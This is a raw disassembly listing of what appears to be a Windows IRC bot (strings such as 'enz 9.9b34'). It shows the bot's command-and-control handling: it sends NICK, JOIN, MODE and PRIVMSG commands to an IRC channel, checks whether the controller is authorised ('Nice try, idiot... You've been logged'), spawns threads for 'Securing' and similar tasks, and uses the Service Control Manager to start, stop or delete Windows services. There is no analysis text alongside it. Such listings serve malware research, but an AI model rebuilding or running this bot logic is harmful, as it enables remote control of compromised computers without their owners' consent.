		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_408D9F
		push	offset dword_42D134
		call	sub_408E17
		jmp	loc_40EEBE
; ---------------------------------------------------------------------------


loc_40F333:				; CODE XREF: .nsp0:0040B412j
					; .nsp0:0040B427j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41246A
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-90h]
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-450h], eax
		jz	short loc_40F38D
		push	offset dword_42D130
		push	esi
		call	sub_412310
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-458h], eax
		jmp	short loc_40F393
; ---------------------------------------------------------------------------


loc_40F38D:				; CODE XREF: .nsp0:0040F371j
		mov	[ebp-458h], ebx


loc_40F393:				; CODE XREF: .nsp0:0040F38Bj
		lea	eax, [ebp-2C8h]
		push	offset dword_42D100
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1Fh
		push	eax
		call	sub_41199A
		add	esp, 14h
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset byte_411A05
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40F3FD


loc_40F3EB:				; CODE XREF: .nsp0:0040F3FBj
		cmp	[ebp-44Ch], ebx
		jnz	short loc_40F418
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40F3EB
; ---------------------------------------------------------------------------


loc_40F3FD:				; CODE XREF: .nsp0:0040F3E9j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42D0B4


loc_40F409:				; CODE XREF: .nsp0:0040E453j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40F418:				; CODE XREF: .nsp0:0040E324j
					; .nsp0:0040E33Cj ...
		lea	eax, [ebp-2C8h]
		push	eax
		jmp	loc_40B6A6
; ---------------------------------------------------------------------------


loc_40F424:				; CODE XREF: .nsp0:0040B396j
					; .nsp0:0040B3ABj
		push	offset aIds4473	; "ids4473"
		lea	eax, [ebp-2C8h]
		push	offset dword_42D088
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 20h
		jmp	loc_40C0A0
; ---------------------------------------------------------------------------


loc_40F45B:				; CODE XREF: .nsp0:0040B36Cj
					; .nsp0:0040B381j
		push	dword_461F48
		call	sub_408886
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42D048
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 24h
		jmp	loc_40C0A0
; ---------------------------------------------------------------------------


loc_40F499:				; CODE XREF: .nsp0:0040B342j
					; .nsp0:0040B357j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40F4CB
		cmp	[ebp-0Ch], ebx
		jz	short loc_40F4DA
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_4124C0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F4DA
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		add	esp, 0Ch
		jmp	short loc_40F4DA
; ---------------------------------------------------------------------------


loc_40F4CB:				; CODE XREF: .nsp0:0040F4A2j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		pop	ecx
		pop	ecx


loc_40F4DA:				; CODE XREF: .nsp0:0040F4A7j
					; .nsp0:0040F4B6j ...
		push	0FFFFFFFEh
		jmp	loc_40A7B6
; ---------------------------------------------------------------------------


loc_40F4E1:				; CODE XREF: .nsp0:0040B318j
					; .nsp0:0040B32Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	offset dword_42CFF4
		call	sub_408E17
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40F503:				; CODE XREF: .nsp0:0040B2EEj
					; .nsp0:0040B303j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	offset dword_42CFB0
		call	sub_408E17
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40F524:				; CODE XREF: .nsp0:0040B2C4j
					; .nsp0:0040B2D9j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_405787
		jmp	loc_40DF79
; ---------------------------------------------------------------------------


loc_40F53A:				; CODE XREF: .nsp0:0040B21Fj
					; .nsp0:0040B234j
		push	dword ptr [ebp+esi-90h]
		push	1Eh
		push	offset dword_42CFA0
		push	offset dword_42CF94
		jmp	short loc_40F562
; ---------------------------------------------------------------------------


loc_40F54F:				; CODE XREF: .nsp0:0040B1F5j
					; .nsp0:0040B20Aj
		push	dword ptr [ebp+esi-90h]
		push	1Bh
		push	offset dword_42CF88
		push	offset dword_42CF78


loc_40F562:				; CODE XREF: .nsp0:0040B099j
					; .nsp0:0040B0C2j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_411C28
		add	esp, 20h
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40F57E:				; CODE XREF: .nsp0:0040B030j
					; .nsp0:0040B045j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F5A6
		push	edi
		push	offset aSec	; "sec"
		call	sub_412310
		pop	ecx
		mov	[ebp-458h], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F5B0


loc_40F5A6:				; CODE XREF: .nsp0:0040F58Dj
		mov	dword ptr [ebp-458h], 1


loc_40F5B0:				; CODE XREF: .nsp0:0040F5A4j
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-4DCh]
		push	80h
		push	eax
		call	sub_41246A
		mov	eax, [ebp+0Ch]
		add	esp, 0Ch
		cmp	[ebp-458h], ebx
		mov	[ebp-4E0h], eax
		mov	eax, [ebp-4]
		mov	[ebp-454h], eax
		mov	eax, [ebp-8]
		mov	[ebp-450h], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40F5F7
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40F5F7:				; CODE XREF: .nsp0:0040F5F0j
		push	eax
		push	offset dword_42CF28
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41246A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	19h
		push	eax
		call	sub_41199A
		add	esp, 1Ch
		mov	[ebp-45Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4E0h]
		push	ebx
		push	eax
		push	offset sub_4112FF
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-45Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_438C6C[ecx], eax
		jz	short loc_40F66B


loc_40F655:				; CODE XREF: .nsp0:0040F669j
		cmp	[ebp-44Ch], ebx
		jnz	loc_40C897
		push	32h
		call	dword_41D05C	; Sleep
		jmp	short loc_40F655
; ---------------------------------------------------------------------------


loc_40F66B:				; CODE XREF: .nsp0:0040F653j
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CED8
		jmp	loc_40DB89
; ---------------------------------------------------------------------------


loc_40F67C:				; CODE XREF: .nsp0:0040B006j
					; .nsp0:0040B01Bj
		push	offset aEnz9_9b34 ; "enz 9.9b34"
		push	offset dword_42CEB4


loc_40F686:				; CODE XREF: .nsp0:0040E408j
					; .nsp0:0040E55Dj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE


loc_40F692:				; CODE XREF: .nsp0:0040EF09j
		add	esp, 0Ch
		jmp	loc_40C07F
; ---------------------------------------------------------------------------


loc_40F69A:				; CODE XREF: .nsp0:0040AFDCj
					; .nsp0:0040AFF1j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		jz	short loc_40F6F1
		push	esi
		call	sub_41245F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40F6E9
		cmp	eax, 2
		jge	short loc_40F6E9
		mov	edx, [ebp+20h]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40F6E1
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42FC54
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		mov	[esi], bl
		jmp	short loc_40F73A
; ---------------------------------------------------------------------------


loc_40F6E1:				; CODE XREF: .nsp0:0040F6C3j
		push	eax
		push	offset dword_42CE74
		jmp	short loc_40F72B
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: .nsp0:0040F6AEj
					; .nsp0:0040F6B3j
		push	eax
		push	offset dword_42CE34
		jmp	short loc_40F72B
; ---------------------------------------------------------------------------


loc_40F6F1:				; CODE XREF: .nsp0:0040F6A3j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40F6F6:				; CODE XREF: .nsp0:0040F712j
		push	dword ptr [ebp-94h]
		push	edi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F716
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F6F6
		jmp	short loc_40F73A
; ---------------------------------------------------------------------------


loc_40F716:				; CODE XREF: .nsp0:0040F706j
		mov	eax, [ebp+20h]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42FC54


loc_40F72B:				; CODE XREF: .nsp0:0040BC32j
					; .nsp0:0040BC60j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_40F73A:				; CODE XREF: .nsp0:0040BC16j
					; .nsp0:0040BC46j ...
		cmp	[ebp-8], ebx
		jnz	short loc_40F75B
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40F75B:				; CODE XREF: .nsp0:0040B3FEj
					; .nsp0:0040F73Dj ...
		push	1
		pop	esi
		jmp	loc_40C0A3
; ---------------------------------------------------------------------------


loc_40F763:				; CODE XREF: .nsp0:0040AFB2j
					; .nsp0:0040AFC7j
		push	dword ptr [ebp-90h]
		push	offset a332	; "332"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F7D2
		call	sub_411B63
		push	ebx
		call	dword_41D108	; ExitProcess


loc_40F785:				; CODE XREF: .nsp0:0040AF88j
					; .nsp0:0040AF9Dj
		push	dword ptr [ebp+esi-90h]
		xor	eax, eax
		cmp	[ebp-9A4h], bl
		setnz	al
		push	eax
		lea	eax, [ebp-564h]
		push	dword_425B74
		push	eax
		call	sub_4110D8
		lea	eax, [ebp-564h]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		lea	eax, [ebp-564h]
		push	eax
		push	offset dword_42CDFC
		call	sub_408E8B


loc_40F7CF:				; CODE XREF: .nsp0:0040C9FCj
		add	esp, 24h


loc_40F7D2:				; CODE XREF: .nsp0:0040A97Cj
					; .nsp0:0040A988j ...
		mov	eax, [ebp+2Ch]
		jmp	loc_40A7B7
; ---------------------------------------------------------------------------


loc_40F7DA:				; CODE XREF: .nsp0:0040AA0Bj
					; .nsp0:0040AA20j
		mov	esi, [ebp+esi-90h]
		cmp	esi, ebx
		mov	[ebp+8], esi
		jz	loc_40A7B4
		cmp	[ebp-0A8h], ebx
		jnz	loc_40A7B4
		push	offset dword_428DB8
		push	dword ptr [ebp-94h]
		call	sub_413668
		mov	esi, eax
		push	offset dword_432704
		push	ebx
		inc	esi
		call	sub_413668
		push	offset asc_42CDF8 ; "~"
		push	eax
		call	sub_413668
		push	dword ptr [ebp+8]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_412310
		add	esp, 20h
		test	eax, eax
		jz	short loc_40F870
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	edi
		push	esi
		push	offset dword_42CD6C
		jmp	short loc_40F8CC
; ---------------------------------------------------------------------------


loc_40F870:				; CODE XREF: .nsp0:0040F835j
		mov	dword ptr [ebp+2Ch], offset off_425C1C


loc_40F877:				; CODE XREF: .nsp0:0040F893j
		mov	eax, [ebp+2Ch]
		push	edi
		push	dword ptr [eax]
		call	sub_411CF3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F8E0
		add	dword ptr [ebp+2Ch], 4
		cmp	dword ptr [ebp+2Ch], offset off_425C20
		jl	short loc_40F877
		lea	eax, [ebp-0C4h]
		push	edi
		push	eax
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	edi
		push	esi
		push	offset dword_42CD2C


loc_40F8CC:				; CODE XREF: .nsp0:0040F86Ej
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_411EEE
		add	esp, 30h
		jmp	loc_40F75B
; ---------------------------------------------------------------------------


loc_40F8E0:				; CODE XREF: .nsp0:0040F886j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_40F8E5:				; CODE XREF: .nsp0:0040F90Fj
		cmp	[ebp+8], ebx
		jz	loc_40A7B4
		cmp	[edi], bl
		jnz	short loc_40F905
		push	dword ptr [ebp+8]
		push	offset aHi	; "hi"
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F916


loc_40F905:				; CODE XREF: .nsp0:0040F8F0j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F8E5
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40F916:				; CODE XREF: .nsp0:0040F903j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_413710
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40F94D
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_42CCF8
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40F9F1
		add	esp, 14h


loc_40F94D:				; CODE XREF: .nsp0:0040F931j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42CCC4


loc_40F959:				; CODE XREF: .nsp0:0040A8D4j
					; .nsp0:0040F30Ej
		call	sub_408E8B
		pop	ecx


loc_40F95F:				; CODE XREF: .nsp0:0040C8A3j
		pop	ecx
		jmp	loc_40A7B4
; ---------------------------------------------------------------------------


loc_40F965:				; CODE XREF: .nsp0:0040A547j
					; .nsp0:0040A55Cj
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	offset dword_425BF8
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40F9AB
		add	esp, 2Ch
		mov	dword_4620C8, edi
		jmp	loc_40A5D6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9AB	proc near		; CODE XREF: sub_40A1C1+3Dp
					; .nsp0:0040A504p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_413D3F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433B18	; send
		leave
		retn
sub_40F9AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9F1	proc near		; CODE XREF: sub_401000+88p
					; .nsp0:004014BDp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40FA0C
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40FA0C:				; CODE XREF: sub_40F9F1+14j
		push	edi
		call	sub_4126F0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_4126F0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41246A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42FD5C
		push	eax
		call	sub_411EEE
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433B18	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40FA8A
		push	7D0h
		call	dword_41D05C	; Sleep

locret_40FA8A:				; CODE XREF: sub_40F9F1+8Cj
		leave
		retn
sub_40F9F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA8C	proc near		; CODE XREF: .nsp0:loc_40BE5Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40FAF1
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42FD70[esi]
		push	edi
		push	eax
		call	sub_40FB13
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40FAD4
		push	edi
		push	off_42FD6C[esi]
		mov	esi, offset dword_462790
		push	offset dword_42FEA4
		push	esi
		call	sub_411EEE
		add	esp, 10h
		jmp	short loc_40FB0E
; ---------------------------------------------------------------------------


loc_40FAD4:				; CODE XREF: sub_40FA8C+2Aj
		push	eax
		call	sub_40FBB5
		push	eax
		push	edi
		mov	esi, offset dword_462790
		push	offset dword_42FE68
		push	esi
		call	sub_411EEE
		add	esp, 14h
		jmp	short loc_40FB0E
; ---------------------------------------------------------------------------


loc_40FAF1:				; CODE XREF: sub_40FA8C+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_462790
		push	off_42FD68[eax*4]
		push	offset dword_42FE30
		push	esi
		call	sub_411EEE
		add	esp, 0Ch


loc_40FB0E:				; CODE XREF: sub_40FA8C+46j
					; sub_40FA8C+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40FA8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB13	proc near		; CODE XREF: sub_40FA8C+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_433ABC	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40FB3A
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40FBAF
; ---------------------------------------------------------------------------


loc_40FB3A:				; CODE XREF: sub_40FB13+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4339B0	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40FB5A
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40FBA7
; ---------------------------------------------------------------------------


loc_40FB5A:				; CODE XREF: sub_40FB13+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40FB8D
		cmp	eax, 3
		jz	short loc_40FB7E
		jle	short loc_40FBA0
		cmp	eax, 6
		jg	short loc_40FBA0
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_433A18	; ControlService
		jmp	short loc_40FB94
; ---------------------------------------------------------------------------


loc_40FB7E:				; CODE XREF: sub_40FB13+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4339B8	; StartServiceA
		jmp	short loc_40FB94
; ---------------------------------------------------------------------------


loc_40FB8D:				; CODE XREF: sub_40FB13+4Dj
		push	esi
		call	dword_433A1C	; DeleteService


loc_40FB94:				; CODE XREF: sub_40FB13+69j
					; sub_40FB13+78j
		test	eax, eax
		jnz	short loc_40FBA0
		call	dword_41D06C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40FBA0:				; CODE XREF: sub_40FB13+54j
					; sub_40FB13+59j ...
		push	esi
		call	dword_4339CC	; CloseServiceHandle


loc_40FBA7:				; CODE XREF: sub_40FB13+45j
		push	edi
		call	dword_4339CC	; CloseServiceHandle
		pop	esi


loc_40FBAF:				; CODE XREF: sub_40FB13+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40FB13	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FBB5	proc near		; CODE XREF: sub_40FA8C+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40FC6A
		jz	loc_40FC63
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40FC2D
		jz	short loc_40FC23
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40FC19
		dec	ecx
		dec	ecx
		jz	short loc_40FC0F
		dec	ecx
		jz	short loc_40FC05
		sub	ecx, 51h
		jz	short loc_40FBFB
		sub	ecx, 24h
		jnz	loc_40FCE0	; default
					; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FBFB:				; CODE XREF: sub_40FBB5+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC05:				; CODE XREF: sub_40FBB5+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC0F:				; CODE XREF: sub_40FBB5+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC19:				; CODE XREF: sub_40FBB5+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC23:				; CODE XREF: sub_40FBB5+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC2D:				; CODE XREF: sub_40FBB5+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40FC5C
		dec	ecx
		jz	short loc_40FC55
		dec	ecx
		jz	short loc_40FC4E
		dec	ecx
		jnz	loc_40FCE0	; default
					; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC4E:				; CODE XREF: sub_40FBB5+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC55:				; CODE XREF: sub_40FBB5+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC5C:				; CODE XREF: sub_40FBB5+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC63:				; CODE XREF: sub_40FBB5+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC6A:				; CODE XREF: sub_40FBB5+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40FCE0 ; default
					; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40FCCD
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40FCE0 ; default
					; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40FD21[ecx]
		jmp	off_40FCF9[ecx*4] ; switch jump


loc_40FC8E:				; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheSpecifiedDa ; jumptable 0040FC87 case 7
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheServiceDepe ; jumptable 0040FC87 case 17
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FC9C:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheServiceDe_0 ; jumptable 0040FC87 case 10
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCA3:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheServiceHasB ; jumptable 0040FC87 case 0
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCAA:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheSpecified_0 ; jumptable 0040FC87 case 2
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCB1:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheServiceCoul ; jumptable 0040FC87 case 11
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCB8:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheServiceHa_0 ; jumptable 0040FC87 case 14
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCBF:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheRequested_1 ; jumptable 0040FC87 case 3
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCC6:				; CODE XREF: sub_40FBB5+D2j
					; DATA XREF: .nsp0:off_40FCF9o
		push	offset aTheServiceHasN ; jumptable 0040FC87 case 4
		jmp	short loc_40FCD2
; ---------------------------------------------------------------------------


loc_40FCCD:				; CODE XREF: sub_40FBB5+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40FCD2:				; CODE XREF: sub_40FBB5+41j
					; sub_40FBB5+4Bj ...
		push	offset dword_4620D0
		call	sub_411EEE
		pop	ecx
		pop	ecx
		jmp	short loc_40FCF3
; ---------------------------------------------------------------------------


loc_40FCE0:				; CODE XREF: sub_40FBB5+36j
					; sub_40FBB5+89j ...
		push	eax		; default
					; jumptable 0040FC87 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4620D0
		call	sub_411EEE
		add	esp, 0Ch


loc_40FCF3:				; CODE XREF: sub_40FBB5+129j
		mov	eax, offset dword_4620D0
		retn
sub_40FBB5	endp

; ---------------------------------------------------------------------------
